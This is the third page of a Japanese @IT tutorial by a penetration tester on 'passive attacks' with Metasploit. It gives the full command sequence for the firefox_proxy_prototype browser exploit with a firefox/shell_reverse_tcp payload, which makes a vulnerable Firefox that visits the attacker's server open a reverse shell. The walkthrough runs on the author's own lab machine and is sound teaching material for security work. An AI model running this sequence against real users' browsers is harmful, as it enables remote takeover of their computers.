Metasploitによる「受動的攻撃」――獲物を待ち受けろ：セキュリティ・ダークナイト ライジング（4）（3/3 ページ）

[辻 伸弘（ソフトバンク・テクノロジー株式会社），＠IT]

Metasploitでアクセスを待ち受け、攻撃対象を乗っ取る

　これまでと同様にMetasploitを起動したら、以下のように［search］コマンドを実行する。

search firefox_proxy

　すると一つのExploitモジュールがヒットするはずだ。今回はこのモジュールを使用するので、［use］コマンドで選択する。

use exploit/multi/browser/firefox_proxy_prototype

　次に、以下のコマンドを入力し、どのようなペイロードが利用可能なのかを確認する。

show payloads

　第2回や第3回と違って、表示されたペイロードが少ないと感じたのではないだろうか。使用可能なペイロードは実行するExploitモジュールによって異なるため、このような場合もあるのだ。今回は［firefox/shell_reverse_tcp］を用いることにして、まずは、どのようなオプションが設定可能なのか確認してみよう。

set PAYLOAD firefox/shell_reverse_tcp
show options

　上から順に、それぞれの設定項目を見ていこう。まずはモジュールオプションを解説する。

CONTENT

　ブラウザーがアクセスしてきたときに表示させるHTMLを設定する。今回は特に設定しない。

Retries

　ブラウザーがモジュールを再読み込みすることを許可するかどうかを設定する。ここでfalseとした場合、2度目のアクセスからはコンテンツは表示されず、攻撃も行われなくなる（下図）。今回はtrueのままとする。

SRVHOST

　アクセスを待ち受けるホストのアドレスを設定する。0.0.0.0のままで問題ないだろう。

SRVPORT

　アクセスを待ち受けるポートを指定する。今回は［80］を設定する。

SSL

　アクセスに対してSSL通信を行うかどうかを設定する。今回は特に設定せず、falseのままとする。

SSLCert

　SSL証明書の場所を指定する。特に指定がない場合、デフォルトではランダムに生成された証明書が用いられる。今回はSSLを有効にしないため、設定しない。

URIPATH

　Exploitを実行するURIを指定する。デフォルトではランダムのパス（Path）が生成される。今回は［/］を設定する。

　続いてペイロードオプションだが、これは前回までと同様である。

LHOST

　攻撃に成功した後、攻撃対象が接続を行ってくるアドレス、つまりコネクトバック先のアドレスを設定する。ここは基本的に攻撃を行うコンピューターのアドレスを設定するといいだろう。今回の筆者の環境は、これまでの記事と同様、攻撃／被攻撃環境が同じコンピューター内にある。筆者の環境のIPアドレスは［192.168.0.11］なので、これを設定した。この部分の設定は、各自の環境に合わせて行ってほしい。

LPORT

　攻撃に成功した後、攻撃対象が接続を行ってくるポート、つまりコネクトバック先のポートを設定する。今回はデフォルトのまま［4444］とする。

　これらの設定を行うために、以下のようにコマンドを入力する。

set SRVPORT 80
set URIPATH /
set LHOST 192.168.0.11

　設定内容は［show options］コマンドで確認できる（下図）。

　設定が完了したら、アクセスを待ち受けるために［exploit］コマンドを実行しよう。コマンド実行後に、脆弱性の存在するFirefoxでアクセスを行った結果が下図である。

　これで攻撃対象を乗っ取った状態、すなわちターゲットのシェル接続を開いた状態になる。Metasploit上には「Command shell session 1 opened〜」と表示されているはずだ。なお、この部分の数字は攻撃対象との接続を確立するたびにカウントアップされるため、1とは限らない。

　ちなみにMetasploitでは、一手に複数の接続を受け付けることが可能だ。現在確立されている接続を確認するには、［sessions］コマンドに引数［-l］を指定して実行する。

　攻撃に使用する接続を指定するには、ここで「Id」を確認しておき、［sessions -i Id］というコマンドを実行する。今回は「1」の接続を使用することにする。コマンドを実行しても特に変化がないように見えるが、実際には、攻撃対象上でコマンドを実行することが可能な状態になっている。

　試しに［cd］コマンドを実行してほしい。脆弱なFirefoxをインストールしたフォルダーが、カレントディレクトリとして表示されるはずだ。

　ただし、他にもいろいろとコマンドを実行してみると分かるのだが、現時点では不都合な点がいくつかある。例えば、フォルダーの移動ができなかったり、攻撃対象がWindows 8以降の場合、ファイルの書き込みができなかったりする。

　次回は、この不便な状態を解消するための次のステップについて解説する予定だ。公開まで、しばしお待ちいただきたい。

筆者紹介

辻 伸弘（つじ のぶひろ）

ソフトバンク・テクノロジー株式会社

セキュリティエンジニアとして、主にペネトレーション検査などに従事している。

民間企業、官公庁問わず多くの検査実績を持つ。

自宅では、趣味としてのハニーポットの運用、IDSによる監視などを行っている。

▼辻氏のブログ「(n)」： http://n.pentest.ninja/

▼辻氏のTwitter： http://twitter.com/ntsuji

「セキュリティ・ダークナイト ライジング」バックナンバー

• 「言葉では言い表せない絶望感だった」――ランサムウェア被害者が語る
• Metasploitによる「受動的攻撃」――侵略を拡大せよ
• Metasploitによる「受動的攻撃」――獲物を待ち受けろ
• ファンタスティックな4つのMetasploitペイロード
• Metasploit――大いなる力と責任を体感する
• Metasploit――大いなる力を手に入れる